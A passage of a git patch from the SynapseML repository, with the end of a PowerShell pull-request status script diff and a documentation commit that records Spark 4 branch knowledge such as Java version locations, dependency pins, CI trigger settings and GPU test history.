Absence is the point: the + # failed/pending sets can only describe checks that exist, so a head whose CI + # never started scores zero failures and zero pending and looks finished. The + # Azure DevOps build does not queue itself on every push here -- it needs an + # `/azp run` comment -- which is exactly the check most likely to be missing. + [string[]]$RequiredCheck = @("microsoft.SynapseML"), + + # Post `/azp run` when a required check is missing from the head, instead of + # leaving a human to notice that full CI never started. + [switch]$RunPipeline ) $ErrorActionPreference = "Stop" @@ -30,6 +95,21 @@ if ($repoParts.Count -ne 2 -or -not $repoParts[0] -or -not $repoParts[1]) { $owner = $repoParts[0] $name = $repoParts[1] +$automatedLogins = @($AutomatedReviewer | + Where-Object { -not [string]::IsNullOrWhiteSpace($_) } | + ForEach-Object { ($_.Trim() -replace '\[bot\]$', '').ToLowerInvariant() } | + Where-Object { $_ }) +if (-not $automatedLogins) { + throw "AutomatedReviewer must contain at least one non-blank login." +} + +# Review requests are attempted at most once per PR per invocation; see the +# -RequestReview block in Get-PrSnapshot. +$script:reviewRequestOutcome = @{} + +# Likewise for `/azp run` comments; see the -RunPipeline block in Get-PrSnapshot. +$script:pipelineRunOutcome = @{} + $threadQuery = @' query($owner: String!, $name: String!, $number: Int!, $cursor: String) { repository(owner: $owner, name: $name) { @@ -85,6 +165,13 @@ function Invoke-PagedQuery { [Parameter(Mandatory)][string]$Description ) + # GraphQL responses are sparse: absent fields are simply missing rather than + # null, and this function reads them positionally. Under StrictMode that is a + # terminating error, so a caller with StrictMode enabled would get no snapshot + # at all instead of a snapshot reporting what is missing. Scoped to this + # function so dot-sourcing the script cannot disable StrictMode session-wide. + Set-StrictMode -Off + $nodes = @() $cursor = $null $pages = 0 @@ -101,7 +188,7 @@ function Invoke-PagedQuery { } $response = $text | ConvertFrom-Json - if ($response.errors) { + if ($response.PSObject.Properties['errors'] -and $response.errors) { $messages = @($response.errors | ForEach-Object { $_.message }) -join "; " throw "$Description returned GraphQL errors for PR #${Number}: $messages" } @@ -127,7 +214,14 @@ function Invoke-PagedQuery { [pscustomobject]@{ nodes = $nodes; pages = $pages } } -$results = @(foreach ($number in $PullRequest) { +function Get-PrSnapshot { + param([int]$number) + + # Same reason as Invoke-PagedQuery: sparse GraphQL fields are read + # positionally here, and StrictMode is scoped to this function so + # dot-sourcing cannot change the caller's session. + Set-StrictMode -Off + $jsonFields = "number,title,state,isDraft,mergeable,mergeStateStatus,reviewDecision," + "headRefOid,baseRefName,statusCheckRollup,url" $viewText = & gh pr view $number --repo $Repo --json $jsonFields @@ -163,6 +257,19 @@ $results = @(foreach ($number in $PullRequest) { $_.state -in @("EXPECTED", "PENDING") } | ForEach-Object { if ($_.name) { $_.name } else { $_.context } }) + # A check that never started cannot fail and cannot be pending, so it leaves + # no trace in either set above. Test presence separately, by prefix, so one + # required name covers every leg the pipeline reports. + $checkNames = @($view.statusCheckRollup | + ForEach-Object { if ($_.name) { $_.name } else { $_.context } } | + Where-Object { $_ }) + $missingRequiredChecks = @($RequiredCheck | Where-Object { + $required = $_ + -not ($checkNames | Where-Object { + $_.StartsWith($required, [StringComparison]::OrdinalIgnoreCase) + }) + }) + $threads = @($threadPage.nodes) $unresolved = @($threads | Where-Object { -not $_.isResolved }) $truncatedThreadComments = @($threads | @@ -179,6 +286,79 @@ $results = @(foreach ($number in $PullRequest) { } }) + $automatedReviews = @($reviewPage.nodes | Where-Object { + $_.author.login -and + ($automatedLogins -contains ($_.author.login -replace '\[bot\]$', '').ToLowerInvariant()) + }) + # Coverage must be decided by commit, not recency. A force-push back to an + # already-reviewed commit leaves the newest review pointing at a commit that + # is no longer head, which would report a reviewed head as uncovered and + # send -WaitForReview into a pointless wait. + # Only submitted reviews count. A pending review already carries a commit oid + # but has a null submittedAt, so matching on the oid alone would report the + # head as covered while the review is still being written - the exact + # premature all-clear this gate exists to prevent. + $reviewsForHead = @($automatedReviews | + Where-Object { $_.submittedAt -and $_.commit.oid -eq $view.headRefOid }) + $latestAutomated = if ($reviewsForHead) { + $reviewsForHead | + Sort-Object { [datetime]$_.submittedAt } | + Select-Object -Last 1 + } else { + $automatedReviews | + Where-Object { $_.submittedAt } | + Sort-Object { [datetime]$_.submittedAt } | + Select-Object -Last 1 + } + $automatedReviewCoversHead = [bool]$reviewsForHead + $suppressedForHead = @($suppressed | + Where-Object { $_.commit -eq $view.headRefOid }) + + $reviewRequested = $false + if ($script:reviewRequestOutcome.ContainsKey($number)) { + $reviewRequested = $script:reviewRequestOutcome[$number] + } + # Under -WaitForReview this function runs once per poll, so requesting + # unconditionally would re-POST the request every cycle until coverage + # arrived - notification spam and a rate-limit risk. Attempt it at most once + # per PR per invocation and reuse the recorded outcome afterwards. + if ($RequestReview -and -not $automatedReviewCoversHead -and + -not $script:reviewRequestOutcome.ContainsKey($number)) { + # Requesting by handle through the REST endpoint is the only path that works. + # The GraphQL requestReviews mutation rejects the reviewer's Bot node id + # ("Could not resolve to User node"), and `gh pr edit --add-reviewer` cannot + # resolve the bot login at all. The reviewer also never shows up in + # requested_reviewers afterwards, so a successful request cannot be confirmed + # by reading that list back; confirm it by polling until + # automatedReviewCoversHead turns true. + gh api "repos/$owner/$name/pulls/$number/requested_reviewers" ` + -X POST -f "reviewers[]=$ReviewerHandle" *> $null + $reviewRequested = ($LASTEXITCODE -eq 0) + $script:reviewRequestOutcome[$number] = $reviewRequested + if (-not $reviewRequested) { + Write-Warning "PR #${number}: could not request a review from '$ReviewerHandle'." + } + } + + $pipelineRunRequested = $false + if ($script:pipelineRunOutcome.ContainsKey($number)) { + $pipelineRunRequested = $script:pipelineRunOutcome[$number] + } + # Same once-per-invocation guard as the review request above: under + # -WaitForReview this runs every poll, and each `/azp run` comment queues + # another build and notifies every subscriber. + if ($RunPipeline -and @($missingRequiredChecks).Count -gt 0 -and + -not $script:pipelineRunOutcome.ContainsKey($number)) { + # A comment is the only trigger the pipeline honours from here; queueing + # through the ADO API needs credentials this script does not assume. + gh pr comment $number --repo $Repo --body "/azp run" *> $null + $pipelineRunRequested = ($LASTEXITCODE -eq 0) + $script:pipelineRunOutcome[$number] = $pipelineRunRequested + if (-not $pipelineRunRequested) { + Write-Warning "PR #${number}: could not comment '/azp run'." + } + } + [pscustomobject]@{ number = $view.number title = $view.title @@ -195,17 +375,74 @@ $results = @(foreach ($number in $PullRequest) { behindBy = $compare.behind_by failedChecks = $failedChecks pendingChecks = $pendingChecks + missingRequiredChecks = $missingRequiredChecks unresolvedThreads = $unresolved suppressedReviewBodies = $suppressed + suppressedReviewBodiesForHead = $suppressedForHead completeness = [pscustomobject]@{ reviewThreadPages = $threadPage.pages reviewThreadCount = $threads.Count reviewPages = $reviewPage.pages reviewCount = @($reviewPage.nodes).Count threadsWithUnreadComments = $truncatedThreadComments - complete = ($truncatedThreadComments.Count -eq 0) + latestAutomatedReviewCommit = if ($latestAutomated) { $latestAutomated.commit.oid } else { $null } + latestAutomatedReviewAt = if ($latestAutomated) { $latestAutomated.submittedAt } else { $null } + latestAutomatedReviewAuthor = if ($latestAutomated) { $latestAutomated.author.login } else { $null } + automatedReviewCoversHead = $automatedReviewCoversHead + automatedReviewRequested = $reviewRequested + pipelineRunRequested = $pipelineRunRequested + # Everything verifiable must be clear. This previously tested only + # $truncatedThreadComments, which counts comment-pagination truncation + # rather than unresolved review threads, so it reported complete=true + # with review feedback still outstanding. It also read a head whose + # required build had never queued as clean, because an absent check + # is neither failed nor pending. + complete = ( + @($truncatedThreadComments).Count -eq 0 -and + $automatedReviewCoversHead -and + @($unresolved).Count -eq 0 -and + @($suppressedForHead).Count -eq 0 -and + @($missingRequiredChecks).Count -eq 0 -and + @($failedChecks).Count -eq 0 -and + @($pendingChecks).Count -eq 0 + ) + } + } +} + +$results = @(foreach ($number in $PullRequest) { + $snapshot = Get-PrSnapshot -number $number + + # Automated review lands some time after a push, so a single snapshot taken + # straight after one reports zero findings for code that has not been looked + # at yet. The required build is worse: it does not start at all until someone + # comments, so waiting only on the review would still return a head with no + # CI on it. Wait for both, for this exact head. + if ($WaitForReview) { + $deadline = (Get-Date).AddMinutes($TimeoutMinutes) + while (-not ($snapshot.completeness.automatedReviewCoversHead -and + @($snapshot.missingRequiredChecks).Count -eq 0) -and + (Get-Date) -lt $deadline) { + Write-Verbose ("PR #{0}: waiting for automated review and required checks of {1}" -f + $number, $snapshot.headSha) + Start-Sleep -Seconds $PollSeconds + $snapshot = Get-PrSnapshot -number $number + } + if (-not $snapshot.completeness.automatedReviewCoversHead) { + Write-Warning ("PR #{0}: no automated review covered {1} within {2} minute(s). " + + "Findings for this head may still be pending; do not read this as clean." -f + $number, $snapshot.headSha, $TimeoutMinutes) + } + if (@($snapshot.missingRequiredChecks).Count -gt 0) { + Write-Warning ("PR #{0}: required check(s) '{1}' never appeared on {2} within " + + "{3} minute(s). Full CI has not run on this head; comment '/azp run' " + + "(or pass -RunPipeline)." -f + $number, ($snapshot.missingRequiredChecks -join ", "), + $snapshot.headSha, $TimeoutMinutes) } } + + $snapshot }) ConvertTo-Json -InputObject $results -Depth 12 From 415c28e95c632f286b8b009ed00253b815c9ae3a Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 17 Aug 2026 03:47:01 -0700 Subject: [PATCH 91/93] docs: preserve Spark 4 branch operating knowledge in the branches skill (#2651) * docs: preserve Spark 4 branch operating knowledge in the branches skill The `spark4.0` and `spark4.1` sync PRs (#2646, #2645) each carry a branch-local `AGENTS_spark4.*.md`. Those files are being deleted, so this moves the detail that had not yet been transferred into `.github/skills/synapseml-branches/`, where it is reachable from master and applies to future rebases. Transferred into the shared reference: - The hand-written `__init__.py` policy. `PythonInitMerger` made these files live code instead of inert text, so a stale one is a real bug; the per-path table records which are empty, removed, or kept, and why. - Scala 2.13's `ClassCastException` on `ArraySeq`, which fails at runtime rather than compile time, and `toIndexedSeq` as the O(1) fix. - The GPU suite split and re-merge: #2538 split it into three clusters of two workers, #2573 reverted it because that needs six GPU nodes against a pool sized for three, and the split's hardcoded notebook indices silently skip any fourth notebook. Recorded so it is not reintroduced. - `DatabricksCPUStreamingTests` is scheduled only on live `spark4.0`; master and `spark4.1` define the class but do not schedule it. This is a convergence, not a regression the sync introduced. - `requestedFor=GitHub` alongside `reason=pullRequest` for telling a trigger-driven build from a hand-queued one. Transferred into `branch-spark4p0.md`: - Runtime strings, and why the DBR version is not a free knob: 17.3 LTS ML ships Spark 4.0 and 18.0 ML ships Spark 4.1, so bumping it stops testing the branch. - The sparklyr 1.9.3 failure, which is live on the branch today. Under dbplyr 2.6 its `tidyselect_data_proxy.tbl_spark` drops the Spark connection, so failures surface as `invoke_static` on `NULL` and read like a dead session. Interleaving is the tell: 21 of 69 failed scattered among passes. - The `SPARK_HOME` connect form, recorded honestly as alignment with 4.1 rather than a fix, because the previous form measured identically. - The Horovod wheel gap, with the `ensure_petastorm_compatibility()` ordering marked explicitly unproven so it is not quoted as a cause. - That the GPU notebook denominator moves from three to four after the sync. Transferred into `branch-spark4p1.md`: runtime strings, the two halves of the Petastorm layer, the `LongOffset` importers, the `np.asarray` `ValueError`, and the exact line needed to re-enable Fabric E2E. Two claims in the branch-local files were deliberately not carried over because measurement contradicts them: the Petastorm shim is a pyarrow compatibility layer with no version gating rather than a Python 3.13/cloudpickle workaround, and NumPy is unpinned on both live branches rather than pinned on `spark4.0`. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: drop the fabricated central Seq conversion claim The Copilot review on #2651 is correct and the text it flagged was wrong. sImmutableCollection exists in no branch, and CognitiveServiceBase.getValueOpt returns the row or default value with no Seq conversion at all. The claim came from the branch-local AGENTS notes, which described a design that never shipped: the helper appears only in two abandoned commits (745b342b48, 6cab133efd) that are contained in no tip. Carrying it into the skill would have preserved the error in the place people are told to trust. Keeps what is verifiable and useful -- the ClassCastException surfaces at runtime rather than compile time, and toIndexedSeq preserves O(1) indexing -- and records that there is no central conversion today, with the command to re-check. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: scope the guard-test and Fabric-condition claims to their branches Both suppressed Copilot comments on 4a1190bfbc were worth acting on, and measuring them turned up something the text had missed. test_http_package.py and test_package_exports.py: the reviewer is right that they do not exist, on master. They are on spark4.1 and reach spark4.0 through #2646, but master carries PythonInitMerger without either test. Stating them unqualified in a master-resident file implied a guard that is not there, so the text now names the full paths, says which branches have them, and calls out that master has the merger without the tests -- a real gap rather than just a wording fix. FabricE2E condition: the claim was accurate for spark4.1, which does use a bare `condition: false`, but the reviewer checked master and found the parameterised form, which is exactly the confusion a master-resident file describing another branch invites. The text now scopes the claim and records all three forms, since they differ on every branch: master has and(succeeded(), eq(...)), spark4.0 has eq(...) with no succeeded(), spark4.1 has false. The restore target is named as master's form rather than quoted loose. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: fix line length and punctuation review comments Addresses the two remaining review items on this PR. - branch-spark4-common.md: the __init__.py table had two rows of 248 and 153 characters, over the repo's 120-char limit. Moved the long explanations out of the Why cells into the prose immediately below, so the table stays a quick index and no line exceeds 120. - branch-spark4p1.md:41: replaced the bare double hyphen with a sentence break. Also fixed the check that missed these. The earlier length lint skipped lines starting with a pipe, on the assumption that table rows were exempt, which is exactly why these two slipped through. Re-linted every line of every file in the skill: 0 lines now exceed 120 characters, and the only remaining double hyphen is the git pathspec separator inside backticks in a code example. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: record where the Java version is declared and how to resolve its sync conflict The Java version is declared in up to five files per branch and none of that was captured. Adds a measured table and, more importantly, the conflict rule. Corrects a wrong claim while doing it. The old text said Spark 4's .github/workflows/pr-validation.yml uses JDK 17. That holds for spark4.1 but spark4.0 pins java-version: 11 there while the rest of the branch is on 17, so the workflow is not evidence of a branch's Java version. Measured across ms/master, ms/spark4.0 and ms/spark4.1 rather than taken from the old notes. The part that can actually break a sync: PR #2652 adds templates/java_setup.yml to master at versionSpec 11, and both Spark 4 branches already have that file at 17. Verified with git merge-tree that this is an add/add conflict which leaves markers rather than silently overwriting, so the sync stops and asks. The hazard is that the intuitive resolution -- take master, it is newer -- is the wrong one and drops the branch to Java 11, reintroducing the 'Class java.lang.Record not found' failure #2652 exists to fix. Documented the rule as always keep the branch's own 17, noted that the conflict is one-time, and gave a one-line command to verify the result. Also records that spark4.0 has no JAVA_VERSION because it is not yet in the ReleaseBranchCompat matrix, and that spark4.1 has java_setup.yml but nothing includes it yet, so neither absence is mistaken for a regression later. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: close the gaps found by an independent transfer audit Ran two independent audits, one per source file, against the whole skill directory, to check that AGENTS_spark4.0.md and AGENTS_spark4.1.md can be deleted without losing anything. Both flagged the same top two gaps. Verified every claim before writing it, because the source files are already known to contain three false ones. Closed: 1. The CI trigger lives on the ADO definition, not in pipeline.yaml. Both audits ranked this first and it verified more sharply than the source put it. Definition 17563 reports triggers[].branchFilters = +master, +spark3.5, +spark4.0, +spark4.1 and settingsSourceType 2, meaning UI-defined. The proof that the YAML is a red herring is on the branch itself: spark4.0's own pipeline.yaml pr: block lists master, spark3.3 and spark3.5 and does not list spark4.0, yet PRs targeting spark4.0 build. Recorded with the REST call to re-read it, and the consequence that a future release branch gets no PR builds from a pipeline.yaml edit alone. 2. Root cause of the VerifyTrainClassifier fixture change: Spark 4 does not tolerate a NaN feature reaching logistic regression the way 3.5 did. The destination had kept the "value was replaced rather than the assertion weakened" reasoning but dropped the reason. Confirmed Double.NaN is still on master at VerifyTrainClassifier.scala:121 and absent on spark4.1, so a sync will try to restore it; that is now stated. 3. Why re-enabling Fabric E2E belongs in its own PR: the pipeline run is the test, and a Fabric provisioning failure should not block an unrelated merge. 4. The pyarrow rationale, with measured values rather than the audit's. The audit reported "bumped to 18.0.0 for cp312 wheels", which conflates the two branches. Measured: spark4.0 is pyarrow 22.0.0 on Python 3.12.11, spark4.1 is 18.0.0 on Python 3.13, master is held down at 10.0.1 because Petastorm uses Parquet and fsspec APIs removed after PyArrow 10. Added the table and noted each branch reached its value by a different route, so the reasoning does not carry across. Also recorded spark4.0's unexplained, unvalidated mlflow downgrade to 1.26.1 against master's 2.21.3. Both audits independently confirmed the destination is otherwise a superset of the source, and that the three deliberate corrections (asImmutableCollection, the Petastorm shim's real cause, and the pr-validation.yml Java version) read as intended rather than as losses. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: address review on Java/Dockerfile scope and java_setup.yml state Scope the Dockerfile JAVA_HOME claim explicitly to the Spark 4 branches and state master's value (11) for contrast; the bullet sat under a Spark-4 heading but read as a repo-wide claim. Fixes the plural-subject grammar in the same sentence. Add tools/docker/*/Dockerfile as a sixth row to the Java declaration table (master 11, both Spark 4 branches 17). Phrase templates/java_setup.yml on master conditionally: it does not exist there until #2652 merges, so tell readers to expect it absent and give the command to confirm on the live branch. Reflow two paragraphs where an earlier edit left a mid-sentence fragment on its own line. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Co-authored-by: ranadeepsingh --- .../references/branch-spark4-common.md | 193 ++++++++++++++++-- .../references/branch-spark4p0.md | 50 ++++- .../references/branch-spark4p1.md | 39 ++-- 3 files changed, 246 insertions(+), 36 deletions(-) diff --git a/.github/skills/synapseml-branches/references/branch-spark4-common.md b/.github/skills/synapseml-branches/references/branch-spark4-common.md index 5414fc1592c..d3063cf01ca 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4-common.md +++ b/.github/skills/synapseml-branches/references/branch-spark4-common.md @@ -42,9 +42,10 @@ of re-deriving it from whatever tree they happen to have open. - Spark 4 uses Scala 2.13 and Java 17-era tooling, so generated Python lands in `target/scala-2.13/generated/src/python/` rather than master's `scala-2.12` - path. `tools/docker/*/Dockerfile` set `JAVA_HOME` to Java 17 and - `.github/workflows/pr-validation.yml` uses JDK 17. `pipeline.yaml` drops - master's `-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled` from + path. The `tools/docker/*/Dockerfile` files set `JAVA_HOME` to Java 17 on + both Spark 4 branches, where master sets Java 11 — check the branch, not + master, if you are verifying this. `pipeline.yaml` + drops master's `-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled` from `SBT_OPTS`: CMS was removed in Java 17 and the JVM refuses to start with those flags, so a sync that restores them fails before any test runs. - `environment.yml` moves pins forward for the branch's Python, and each pin @@ -53,6 +54,23 @@ of re-deriving it from whatever tree they happen to have open. resolution. The recurring reasons: master's `pip` is too old to install for these interpreters, `torch`/`torchvision` need their first releases supporting the version, and `pandas`/`horovod` come from interpreter-specific wheel URLs. + + Measured, since these are easy to get backwards: + + | | master | spark4.0 | spark4.1 | + | --- | --- | --- | --- | + | `python` | 3.11.8 | 3.12.11 | 3.13 | + | `pyarrow` | 10.0.1 | 22.0.0 | 18.0.0 | + | `mlflow` | 2.21.3 | 1.26.1 | 2.21.3 | + + Each branch reached its `pyarrow` by a different route, so do not carry the + reasoning across: `spark4.0` needs a release with cp312 wheels (older ones + such as 11.0.0 have none and would build from source), `spark4.1` needs cp313 + wheels under an `mlflow` 2.x `pyarrow<19` bound, and master is held *down* at + 10.0.1 because Petastorm uses legacy Parquet and fsspec APIs removed after + PyArrow 10. Note also that `spark4.0` carries `mlflow==1.26.1`, a downgrade + from master's 2.21.3, which is not explained by the Python version and has not + been validated. - The `pyarrow` and `mlflow` pins are coupled, and the pinned versions are not the same on every branch — read both live values on the branch you are editing before changing either. The bound comes from MLflow: `mlflow==2.21.3` declares @@ -61,8 +79,22 @@ of re-deriving it from whatever tree they happen to have open. MLflow pins carry different bounds, so check the pinned version's own metadata rather than assuming this one. Do not trust the inline comments: they disagree with each other and with the pins they sit next to. -- Scala 2.13 collection boundaries must produce immutable `Seq` values; keep - the central `asImmutableCollection` conversion rather than per-service fixes. +- Scala 2.13 collection boundaries must produce immutable `Seq` values. The + failure mode is why this matters: code that yields a `mutable.ArraySeq` where + an `immutable.Seq` is expected throws `ClassCastException` **at runtime, not + at compile time**, so a green compile proves nothing and the break surfaces + one or two layers away from its cause. Prefer `toIndexedSeq` over `toList` + when converting, because it preserves O(1) indexing. Be careful what you + believe about *where* this is handled: the branch-local notes claimed + `CognitiveServiceBase.getValueOpt` converted centrally through a helper called + `asImmutableCollection`, and neither is true — `getValueOpt` returns the row + or default value with no conversion, and `asImmutableCollection` appears in no + branch, only in two abandoned commits (`745b342b48`, `6cab133efd`) that are + contained in no tip. Verify with + `git grep asImmutableCollection ms/master ms/spark4.0 ms/spark4.1`. If the + `ClassCastException` resurfaces, one conversion in `CognitiveServiceBase` is + the right shape of fix, but treat it as a change to make rather than one + already in place. - Preserve the Spark 4 adaptations. In `SAR.scala`/`SARModel.scala` the affinity pairs use a named `case class` with explicit struct fields because Spark 4 rejects the old `Seq[Row]` UDF shape with `UnboundRowEncoder`, and the join @@ -70,8 +102,12 @@ of re-deriving it from whatever tree they happen to have open. trips `DetectAmbiguousSelfJoin`. `Wrappable.safeGetDefault` guards `getDefault`, which throws on Spark 4 where Spark 3 returned a default. `VerifyTrainClassifier`'s vector fixture no longer feeds `Double.NaN` to the - trainer: that test is about training on a vector column, not about NaN, so the - value was replaced rather than the assertion weakened. + trainer, because Spark 4 does not tolerate a NaN feature reaching logistic + regression the way 3.5 did. That test is about training on a vector column, + not about NaN, so the value was replaced rather than the assertion weakened. + Master still has the `Double.NaN` at `VerifyTrainClassifier.scala:121`, so a + sync will try to restore it; do not let it, and do not weaken the assertion + instead. - `OpenAIPrompt` sets `pyInternalWrapper = true`, so codegen emits `class _OpenAIPrompt` and a hand-written `OpenAIPrompt.py` supplies the public name. Python emitted into that class must use zero-argument `super()`; a @@ -152,13 +188,46 @@ of re-deriving it from whatever tree they happen to have open. Read statuses and notebook duration before classifying it. - `DatabricksCPUStreamingTests` exists only on the Spark 4 branches, and whether it is scheduled varies by branch — read `pipeline.yaml` on the branch you are - working on rather than assuming. It is a separate class because the streaming - notebook's `server.stop()` cancels concurrent SparkContext jobs, so it needs its - own cluster instead of a slot on an existing leg, which is why scheduling it - costs pool capacity. The in-repo comment attributes that behaviour to Spark 4.0 - and it has not been re-confirmed on 4.1. If a sync drops its leg while leaving - the class defined, that is lost coverage rather than a cleanup: the class is - still there, so nothing fails to compile and nothing reports the gap. + working on rather than assuming. As measured on 2026-08-17, only live + `spark4.0` gives it a leg, and it got one in the original port commit + `b76c391be4`; `master` and `spark4.1` leave the class defined but unscheduled + pending pool capacity and a notebook fix. A sync from master therefore drops + that leg on `spark4.0`, which converges the three branches rather than + regressing one — but record it as a decision, because nothing reports it. It + is a separate class because the streaming notebook's `server.stop()` cancels + concurrent SparkContext jobs, so it needs its own cluster instead of a slot on + an existing leg, which is why scheduling it costs pool capacity. The in-repo + comment attributes that behaviour to Spark 4.0 and it has not been + re-confirmed on 4.1. If a sync drops the leg while leaving the class defined, + nothing fails to compile and nothing reports the gap, so check deliberately. +- The Databricks GPU suite was split and then deliberately re-merged, and the + history matters because `spark4.0` still carries the abandoned shape. #2538 + split it into `DatabricksGPUTests1/2/3`, each building its own cluster with two + workers and running exactly one notebook via `gpuNotebook(0)`, `(1)`, `(2)`. + #2573 (`fix: restore SynapseML Azure pipeline`) reverted that to a single + `DatabricksGPUTests` because the split could not fit: three clusters times two + workers needs six GPU nodes, against a pool holding + `GpuWorkersPerRun` 1 x `GpuConcurrentRuns` 3 = three. Master's current form + runs the whole `GPUNotebooks` set on one cluster sized at `GpuWorkersPerRun` + (one worker, so concurrent builds can share the pool), pins the driver to the + **CPU** pool (`driverInstancePoolId = Some(PoolId)`) so it does not consume a + GPU node, and rather than failing on a starved pool waits for one through + `createActiveCluster` with `maxAttempts = Int.MaxValue` and + `maxRetryDurationMs` of three hours. `SYNAPSEML_GPU_SMOKE_TESTS` passes + `synapseml_ci_smoke` through to the notebooks, and the job takes a 300-minute + timeout to absorb the sequential run. Read the file rather than this paragraph + for the mechanism: it changed between #2573 and now, and an earlier draft of + this bullet described the #2573 snapshot as if it were current. +- Prefer the consolidated form on every branch, and never restore the split + during a sync. Its indices are hardcoded, so it tests exactly three notebooks + no matter how many exist: at the time of writing `master` and `spark4.1` have + four GPU notebooks (`Fine-tune`/`Phi Model` matches) while live `spark4.0` has + three, so the split covers `spark4.0` today and would silently skip index 3 — + `Quickstart - End-to-end Local RAG with Phi Model` — the moment a sync brings + master's fourth notebook in. `DatabricksGPUTests` reads `GPUNotebooks` whole + and cannot drift that way. #2646 already lands exactly this: the merged + `DatabricksGPUTests.scala` is byte-identical to master's and the branch picks + up the fourth notebook, so `spark4.0` needs no separate change. - Petastorm calls pyarrow APIs the pinned pyarrow no longer ships, so Horovod's Spark backend needs a compatibility layer. Only `spark4.1` has one. This is a library-version problem, not a Python-version one, so a branch on the same @@ -168,16 +237,108 @@ of re-deriving it from whatever tree they happen to have open. - `/azp run` queues these targets. The ADO pull-request trigger filter allowed only `master` until 2026-08-17; it now covers `master`, `spark3.5`, `spark4.0` and `spark4.1`, verified by builds recording `reason=pullRequest` - rather than `reason=manual`. If a comment produces no build, re-read the + and `requestedFor=GitHub` rather than `reason=manual`. Those two fields are + the reliable way to tell a trigger-driven run from one you queued by hand. If + a comment produces no build, re-read the definition's trigger filter before assuming flakiness, and fall back to queueing the PR merge ref (`refs/pull//merge`), never `refs/heads/`, which fails service-connection authorization. +- **The trigger filter lives on the ADO definition, not in `pipeline.yaml`.** + The `pr:` block in `pipeline.yaml` is a red herring: a UI-defined trigger + overrides it silently, so editing the YAML changes nothing. The proof is on + the branch itself — `spark4.0`'s own `pipeline.yaml` `pr:` block lists + `master`, `spark3.3` and `spark3.5` and does **not** list `spark4.0`, yet PRs + targeting `spark4.0` build. Read the real value from the definition instead: + + ``` + GET .../_apis/build/definitions/17563?api-version=7.0 + ``` + + `triggers[].branchFilters` is currently `+master, +spark3.5, +spark4.0, + +spark4.1`, and the `continuousIntegration` trigger reports + `settingsSourceType: 2`, which means UI-defined rather than YAML-defined. + Consequence for a future release branch: adding it to `pipeline.yaml` does not + give it PR builds. Someone has to add it to the definition's filter. - GitHub checks compile/lint but do not replace full Azure, Databricks, native, R, or service validation. -- Intermittent ONNX OOM (`ImageFeaturizerSuite`) and R package HTTP failures +- Intermittent ONNX OOM (`OutOfMemoryError` in `ImageFeaturizerSuite`, under the + `UnitTests onnx` leg) and R package HTTP failures (a conda `HTTP 403` in `RTests vw`) require log evidence and a controlled rerun; they are not automatic product regressions or exemptions. +## Where the Java version is declared + +There is no single source of truth for the JDK. Each branch declares it in +several files, and a sync can silently disagree with itself if only some are +updated. Measured values: + +| File | master | spark4.0 | spark4.1 | +| --- | --- | --- | --- | +| `.github/workflows/pr-validation.yml` | 11 | **11** | 17 | +| `environment.yml` (`openjdk`) | absent | 17 | 17 | +| `environment.dev.yml` (`openjdk`) | no file | 17 | 17 | +| `templates/java_setup.yml` (`versionSpec`) | no file | 17 | 17 | +| `pipeline.yaml` (`JAVA_VERSION`, ReleaseBranchCompat) | 17 | absent | 17 | +| `tools/docker/*/Dockerfile` (`JAVA_HOME`) | 11 | 17 | 17 | + +Two things in that table are not typos. `spark4.0`'s GitHub workflow pins JDK +11 while the rest of the branch is on 17, so do not assume the workflow proves +the branch's Java version; check `environment.yml` or `java_setup.yml` instead. +And `spark4.0` has no `JAVA_VERSION` because it is not yet in the +ReleaseBranchCompat matrix, which is a separate follow-up. + +`templates/java_setup.yml` is the pin that CI jobs consume. On `spark4.0` it is +included by the `Style` job; on `spark4.1` the file exists but nothing includes +it yet. Master does **not** have the file at the time of writing: it arrives +with [#2652](https://github.com/microsoft/SynapseML/pull/2652), which sets it to +11 — master's already-effective JDK, measured from a build that echoes +`java -version` — and includes it from the InternalCompat job so that job stops +compiling Spark 4 code on master's JDK. If that PR has not merged yet, expect +the file to be absent on master and the table row above to read "no file"; +confirm with `git show ms/master:templates/java_setup.yml`. + +**Conflict rule: on the first sync after #2652 merges, `templates/java_setup.yml` +conflicts add/add and git leaves markers. Always keep the branch's own 17.** +Taking master's side is the intuitive resolution and the wrong one: it silently +drops the branch to Java 11 and reintroduces `Class java.lang.Record not found`. +The conflict is one-time — once resolved, the file histories are connected and +later syncs merge it cleanly. Verify with: + +``` +git show :templates/java_setup.yml | grep versionSpec +``` + +## Hand-written `__init__.py` files + +`PythonInitMerger` came from master and **preserves** hand-written `__init__.py` +content by splicing it after the generated imports. Codegen previously +overwrote these files, so their contents were inert; they are now live code in +the shipped package, which makes a stale one a real bug rather than dead text. +This is why the Spark 4 branches had to audit them. + +| Path | State | Why | +| --- | --- | --- | +| `core/.../io/http/__init__.py` | must stay empty | Listed free-function modules; see below | +| `vw/`, `services/openai/` | removed | Duplicated codegen output | +| `recommendation/`, `dl/`, `hf/`, `cognitive/`, `mmlspark/` | kept | Add exports codegen omits | + +`core/.../io/http/__init__.py` listed `HTTPFunctions` and `ServingFunctions`, +which are modules of free functions with no same-named class, so the import +failed and broke `PythonTests core` plus seven website-sample docs. The `vw/` +and `services/openai/` files also redefined `__all__`, which narrowed +`import *` to a hand-maintained list. + +Do not add new `__init__.py` files that re-list generated classes. On the Spark 4 +branches this is guarded by two tests, +`core/src/test/python/synapsemltest/io/http/test_http_package.py` and +`core/src/test/python/synapsemltest/recommendation/test_package_exports.py`. Note +where they are and are not: both are on `spark4.1`, both reach `spark4.0` through +[#2646](https://github.com/microsoft/SynapseML/pull/2646), and **neither is on +`master`**, which carries `PythonInitMerger` without them. So a change to these +files on `master` is unguarded, and the guards cannot be assumed from the merger's +presence. Verify with +`git ls-tree -r --name-only ms/ | grep -E 'test_http_package|test_package_exports'`. + ## Before merging a sync 1. Recheck the target's live versions, pins, triggers, and skips. diff --git a/.github/skills/synapseml-branches/references/branch-spark4p0.md 